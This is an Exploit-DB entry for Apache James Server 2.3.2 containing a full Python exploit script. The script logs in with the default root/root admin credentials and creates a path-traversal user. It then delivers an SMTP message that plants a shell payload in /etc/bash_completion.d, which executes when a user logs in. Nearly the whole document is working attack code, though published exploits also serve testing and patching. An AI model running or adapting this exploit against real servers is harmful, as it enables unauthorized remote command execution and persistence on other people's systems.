Apache James Server 2.3.2 - Remote Command Execution

EDB-ID:

35513

CVE:

N/A




Platform:

Linux

Date:

2014-12-10


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#!/usr/bin/python
#
# Exploit Title: Apache James Server 2.3.2 Authenticated User Remote Command Execution
# Date: 16\10\2014
# Exploit Author: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec
# Vendor Homepage: http://james.apache.org/server/
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
# Version: Apache James Server 2.3.2
# Tested on: Ubuntu, Debian
# Info: This exploit works on default installation of Apache James Server 2.3.2
# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d

import socket
import sys
import time

# specify payload
#payload = 'touch /tmp/proof.txt' # to exploit on any user 
payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root
# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'

if len(sys.argv) != 2:
    sys.stderr.write("[-]Usage: python %s <ip>\n" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s 127.0.0.1\n" % sys.argv[0])
    sys.exit(1)

ip = sys.argv[1]

def recv(s):
        s.recv(1024)
        time.sleep(0.2)

try:
    print "[+]Connecting to James Remote Administration Tool..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,4555))
    s.recv(1024)
    s.send(user + "\n")
    s.recv(1024)
    s.send(pwd + "\n")
    s.recv(1024)
    print "[+]Creating user..."
    s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")
    s.recv(1024)
    s.send("quit\n")
    s.close()

    print "[+]Connecting to James SMTP server..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,25))
    s.send("ehlo team@team.pl\r\n")
    recv(s)
    print "[+]Sending payload..."
    s.send("mail from: <'@team.pl>\r\n")
    recv(s)
    # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n") if the recipient cannot be found
    s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")
    recv(s)
    s.send("data\r\n")
    recv(s)
    s.send("From: team@team.pl\r\n")
    s.send("\r\n")
    s.send("'\n")
    s.send(payload + "\n")
    s.send("\r\n.\r\n")
    recv(s)
    s.send("quit\r\n")
    recv(s)
    s.close()
    print "[+]Done! Payload will be executed once somebody logs in."
except:
    print "Connection failed."